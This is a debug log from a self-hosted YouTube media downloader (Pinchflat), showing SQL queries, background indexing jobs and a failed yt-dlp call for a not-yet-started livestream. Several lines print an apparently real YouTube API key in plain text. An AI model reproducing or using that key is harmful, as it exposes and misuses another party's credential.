s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:52.026 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 16:17:52.026 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:52.026 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:52.160 [debug] QUERY OK source="media_items" db=0.5ms idle=134.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 16:17:52.161 [debug] QUERY OK source="media_items" db=0.2ms idle=135.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 16:17:52.162 [debug] QUERY OK source="tasks" db=0.1ms idle=135.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268204, 44, ~U[2026-10-09 21:17:52Z], ~U[2026-10-09 21:17:52Z]] 16:17:52.162 [info] {"args":{"id":44},"id":5268165,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":137378,"event":"job:stop","queue_time":742141,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:53.025 [info] {"args":{"id":7},"id":5268166,"meta":{},"system_time":1791580673025196449,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:53.025 [debug] QUERY OK source="sources" db=0.1ms idle=863.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:17:53.025 [debug] QUERY OK source="settings" db=0.1ms idle=863.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:53.025 [debug] QUERY OK source="media_profiles" db=0.0ms idle=857.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:53.025 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:53.025 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:17:53.026 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:53.026 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:53.152 [debug] QUERY OK source="media_items" db=0.6ms idle=126.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 16:17:53.155 [debug] QUERY OK source="media_items" db=2.3ms idle=127.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:17:53.156 [debug] QUERY OK source="tasks" db=0.1ms idle=130.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268205, 7, ~U[2026-10-09 21:17:53Z], ~U[2026-10-09 21:17:53Z]] 16:17:53.156 [info] {"args":{"id":7},"id":5268166,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":131380,"event":"job:stop","queue_time":647748,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:53.163 [info] {"args":{"id":25},"id":5268167,"meta":{},"system_time":1791580673163301360,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:53.163 [debug] QUERY OK source="sources" db=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:17:53.163 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:53.163 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:53.164 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:53.164 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:17:53.164 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:53.164 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:53.409 [debug] QUERY OK source="media_items" db=0.6ms idle=245.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 16:17:53.411 [debug] QUERY OK source="media_items" db=1.4ms idle=246.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:17:53.412 [debug] QUERY OK source="tasks" db=0.1ms idle=247.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268206, 25, ~U[2026-10-09 21:17:53Z], ~U[2026-10-09 21:17:53Z]] 16:17:53.412 [info] {"args":{"id":25},"id":5268167,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":249099,"event":"job:stop","queue_time":644164,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:54.026 [info] {"args":{"id":38},"id":5268168,"meta":{},"system_time":1791580674026224280,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:54.026 [debug] QUERY OK source="sources" db=0.1ms idle=614.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:17:54.026 [debug] QUERY OK source="settings" db=0.1ms idle=614.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:54.026 [debug] QUERY OK source="media_profiles" db=0.0ms idle=608.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:54.027 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:54.027 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:17:54.027 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:54.027 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:54.482 [debug] QUERY OK source="media_items" db=0.6ms idle=455.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 16:17:54.485 [debug] QUERY OK source="media_items" db=2.1ms idle=456.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:17:54.485 [debug] QUERY OK source="tasks" db=0.1ms idle=458.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268207, 38, ~U[2026-10-09 21:17:54Z], ~U[2026-10-09 21:17:54Z]] 16:17:54.486 [info] {"args":{"id":38},"id":5268168,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":459721,"event":"job:stop","queue_time":627603,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:18:00.384 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:14.405 [info] {"source":"oban","duration":10225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 16:18:43.425 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8d/51/8d51bc764279248d3e3fa6ba3b76c8c84927becb91aca521406a1177a1f3ab77.json --sleep-requests 79 --sleep-interval 76 --sleep-subtitles 86 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments. 16:18:43.425 [error] Error creating media item 'Wzir-lrTI9A' from URL: {:error, "ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments.\n", 1} 16:18:43.425 [debug] QUERY OK source="media_items" db=0.2ms idle=1731.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:18:43.426 [debug] QUERY OK source="tasks" db=0.1ms 